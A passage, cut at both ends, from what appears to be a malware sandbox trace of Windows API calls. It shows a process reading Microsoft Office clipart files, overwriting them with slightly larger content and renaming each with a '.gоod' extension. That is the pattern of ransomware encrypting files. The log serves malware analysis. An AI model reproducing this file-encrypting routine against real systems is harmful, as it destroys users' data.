fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x50eac55d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x390)) returned 1 [0142.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0142.106] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02039_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02039_.gif.gоod")) returned 1 [0142.106] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF", lpFilePart=0x0) returned 0x51 [0142.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0142.107] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02055_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3a9e888 | out: lpFileInformation=0x3a9e888*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x987)) returned 1 [0142.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0142.107] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF", lpFilePart=0x0) returned 0x51 [0142.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0142.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02055_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0142.107] GetFileType (hFile=0x6e4) returned 0x1 [0142.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0142.107] GetFileType (hFile=0x6e4) returned 0x1 [0142.107] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x987 [0142.107] ReadFile (in: hFile=0x6e4, lpBuffer=0x3a9f4e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x3a9f4e8*, lpNumberOfBytesRead=0x1f9edc08*=0x987, lpOverlapped=0x0) returned 1 [0142.243] CloseHandle (hObject=0x6e4) returned 1 [0142.271] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF", lpFilePart=0x0) returned 0x51 [0142.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0142.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02055_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0142.272] GetFileType (hFile=0x6e4) returned 0x1 [0142.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0142.273] GetFileType (hFile=0x6e4) returned 0x1 [0142.273] WriteFile (in: hFile=0x6e4, lpBuffer=0x3987278*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x3987278*, lpNumberOfBytesWritten=0x1f9edb18*=0x990, lpOverlapped=0x0) returned 1 [0142.273] CloseHandle (hObject=0x6e4) returned 1 [0142.274] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF", lpFilePart=0x0) returned 0x51 [0142.274] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF.gоod", lpFilePart=0x0) returned 0x56 [0142.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0142.274] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02055_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5104ffa3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x990)) returned 1 [0142.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0142.274] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02055_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02055_.gif.gоod")) returned 1 [0142.275] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF", lpFilePart=0x0) returned 0x51 [0142.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0142.275] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02073_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3988550 | out: lpFileInformation=0x3988550*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x37d)) returned 1 [0142.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0142.275] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF", lpFilePart=0x0) returned 0x51 [0142.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0142.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02073_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0142.275] GetFileType (hFile=0x6e4) returned 0x1 [0142.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0142.275] GetFileType (hFile=0x6e4) returned 0x1 [0142.276] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x37d [0142.276] ReadFile (in: hFile=0x6e4, lpBuffer=0x3988ba8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x3988ba8*, lpNumberOfBytesRead=0x1f9edc08*=0x37d, lpOverlapped=0x0) returned 1 [0142.378] CloseHandle (hObject=0x6e4) returned 1 [0142.405] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF", lpFilePart=0x0) returned 0x51 [0142.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0142.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02073_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0142.406] GetFileType (hFile=0x6e4) returned 0x1 [0142.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0142.406] GetFileType (hFile=0x6e4) returned 0x1 [0142.406] WriteFile (in: hFile=0x6e4, lpBuffer=0x3a8d5a0*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x3a8d5a0*, lpNumberOfBytesWritten=0x1f9edb18*=0x380, lpOverlapped=0x0) returned 1 [0142.407] CloseHandle (hObject=0x6e4) returned 1 [0142.407] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF", lpFilePart=0x0) returned 0x51 [0142.407] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF.gоod", lpFilePart=0x0) returned 0x56 [0142.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0142.407] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02073_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5118103f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x380)) returned 1 [0142.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0142.407] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02073_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02073_.gif.gоod")) returned 1 [0142.408] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF", lpFilePart=0x0) returned 0x51 [0142.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0142.408] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02074_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3a8e878 | out: lpFileInformation=0x3a8e878*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x516)) returned 1 [0142.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0142.408] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF", lpFilePart=0x0) returned 0x51 [0142.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0142.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02074_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0142.408] GetFileType (hFile=0x6e4) returned 0x1 [0142.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0142.408] GetFileType (hFile=0x6e4) returned 0x1 [0142.408] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x516 [0142.409] ReadFile (in: hFile=0x6e4, lpBuffer=0x3a8f068, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x3a8f068*, lpNumberOfBytesRead=0x1f9edc08*=0x516, lpOverlapped=0x0) returned 1 [0142.411] CloseHandle (hObject=0x6e4) returned 1 [0142.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0142.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02074_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0142.987] GetFileType (hFile=0x7f8) returned 0x1 [0142.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0142.987] GetFileType (hFile=0x7f8) returned 0x1 [0142.987] WriteFile (in: hFile=0x7f8, lpBuffer=0x3a4e9d8*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x3a4e9d8*, lpNumberOfBytesWritten=0x1f9edb18*=0x520, lpOverlapped=0x0) returned 1 [0142.988] CloseHandle (hObject=0x7f8) returned 1 [0142.988] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF", lpFilePart=0x0) returned 0x51 [0142.988] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF.gоod", lpFilePart=0x0) returned 0x56 [0142.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0142.988] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02074_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51704906, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x520)) returned 1 [0142.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0142.988] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02074_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02074_.gif.gоod")) returned 1 [0142.989] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF", lpFilePart=0x0) returned 0x51 [0142.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0142.989] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02077_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3a4fcb0 | out: lpFileInformation=0x3a4fcb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2fd)) returned 1 [0142.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0142.989] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF", lpFilePart=0x0) returned 0x51 [0142.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0142.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02077_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0142.990] GetFileType (hFile=0x7f8) returned 0x1 [0142.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0142.990] GetFileType (hFile=0x7f8) returned 0x1 [0142.990] GetFileSize (in: hFile=0x7f8, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x2fd [0142.990] ReadFile (in: hFile=0x7f8, lpBuffer=0x3a50288, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x3a50288*, lpNumberOfBytesRead=0x1f9edc08*=0x2fd, lpOverlapped=0x0) returned 1 [0142.991] CloseHandle (hObject=0x7f8) returned 1 [0143.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0143.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02077_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0143.316] GetFileType (hFile=0x7fc) returned 0x1 [0143.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0143.316] GetFileType (hFile=0x7fc) returned 0x1 [0143.316] WriteFile (in: hFile=0x7fc, lpBuffer=0x365e7f0*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x365e7f0*, lpNumberOfBytesWritten=0x1f9edb18*=0x300, lpOverlapped=0x0) returned 1 [0143.317] CloseHandle (hObject=0x7fc) returned 1 [0143.317] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF", lpFilePart=0x0) returned 0x51 [0143.317] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF.gоod", lpFilePart=0x0) returned 0x56 [0143.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0143.317] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02077_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51a25a96, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x300)) returned 1 [0143.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0143.317] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02077_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02077_.gif.gоod")) returned 1 [0143.317] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF", lpFilePart=0x0) returned 0x51 [0143.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0143.317] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02082_.gif"), fInfoLevelId=0x0, lpFileInformation=0x365fac8 | out: lpFileInformation=0x365fac8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x996)) returned 1 [0143.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0143.318] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF", lpFilePart=0x0) returned 0x51 [0143.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0143.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02082_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0143.318] GetFileType (hFile=0x7fc) returned 0x1 [0143.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 